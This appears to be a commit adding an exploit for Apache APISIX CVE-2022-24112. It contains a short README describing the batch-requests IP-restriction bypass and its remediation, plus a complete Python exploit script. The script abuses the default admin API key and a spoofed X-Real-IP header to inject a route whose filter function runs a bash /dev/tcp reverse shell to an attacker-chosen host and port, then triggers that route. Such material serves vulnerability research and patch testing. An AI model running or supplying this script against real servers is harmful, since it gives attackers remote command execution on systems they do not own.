add CVE-2022-24112

Signed-off-by: 严州扬 <double_y@buaa.edu.cn>

cve/Apache-APISIX/2022/cve-2022-24112/README.md

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+# Apache APISIX Remote Code Execution (CVE-2022-24112) Exploit
+
+## Summary
+An attacker can abuse the batch-requests plugin to send requests to
+bypass the IP restriction of Admin API.
+A default configuration of Apache APISIX (with default API key) is
+vulnerable to remote code execution.
+When the admin key was changed or the port of Admin API was changed to
+a port different from the data panel, the impact is lower. But there
+is still a risk to bypass the IP restriction of Apache APISIX's data
+panel.
+
+There is a check in the batch-requests plugin which overrides the
+client IP with its real remote IP. But due to a bug in the code, this
+check can be bypassed.
+
+## Remediation
+upgrade to 2.10.4 or 2.12.1.
+
+
+ 

cve/Apache-APISIX/2022/cve-2022-24112/apisix-exploit.py

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+import requests
+import sys
+
+
+class color:
+    HEADER = '\033[95m'
+    IMPORTANT = '\33[35m'
+    NOTICE = '\033[33m'
+    OKBLUE = '\033[94m'
+    OKGREEN = '\033[92m'
+    WARNING = '\033[93m'
+    RED = '\033[91m'
+    END = '\033[0m'
+    UNDERLINE = '\033[4m'
+    LOGGING = '\33[34m'
+color_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING]    
+    
+
+def banner():
+    run = color_random[6]+'''\n                                   .     , 
+        _.._ * __*\./ ___  _ \./._ | _ *-+-
+       (_][_)|_) |/'\     (/,/'\[_)|(_)| | 
+          |                     |          
+\n'''
+    run2 = color_random[2]+'''\t\t(CVE-2022-24112)\n'''           
+    run3 = color_random[4]+'''{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\n\n'''
+    print(run+run2+run3)    
+
+if (len(sys.argv) != 4):
+    banner()
+    print("[!] Usage   : ./apisix-exploit.py <target_url> <lhost> <lport>")
+    exit()
+    
+else:
+    banner()
+    target_url = sys.argv[1]  
+    lhost = sys.argv[2]
+    lport = sys.argv[3]
+    
+headers1 = {
+    'Host': '127.0.0.1:8080',
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
+    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
+    'Accept': '*/*',
+    'Accept-Encoding': 'gzip, deflate',
+    'Content-Type': 'application/json',
+    'Content-Length': '540',
+    'Connection': 'close',
+}
+
+headers2 = {
+    'Host': '127.0.0.1:8080',
+    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.81 Safari/537.36 Edg/97.0.1072.69',
+    'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
+    'Accept': '*/*',
+    'Accept-Encoding': 'gzip, deflate',
+    'Content-Type': 'application/json',
+    'Connection': 'close',
+}
+
+json_data = {
+    'headers': {
+        'X-Real-IP': '127.0.0.1',
+        'X-API-KEY': 'edd1c9f034335f136f87ad84b625c8f1',
+        'Content-Type': 'application/json',
+    },
+    'timeout': 1500,
+    'pipeline': [
+        {
+            'path': '/apisix/admin/routes/index',
+            'method': 'PUT',
+            'body': '{"uri":"/rms/fzxewh","upstream":{"type":"roundrobin","nodes":{"schmidt-schaefer.com":1}},"name":"wthtzv","filter_func":"function(vars) os.execute(\'bash -c \\\\\\"0<&160-;exec 160<>/dev/tcp/'+lhost+'/'+lport+';sh <&160 >&160 2>&160\\\\\\"\'); return true end"}',
+        },
+    ],
+}
+
+response1 = requests.post(target_url+'apisix/batch-requests', headers=headers1, json=json_data, verify=False)
+
+response2 = requests.get(target_url+'rms/fzxewh', headers=headers2, verify=False)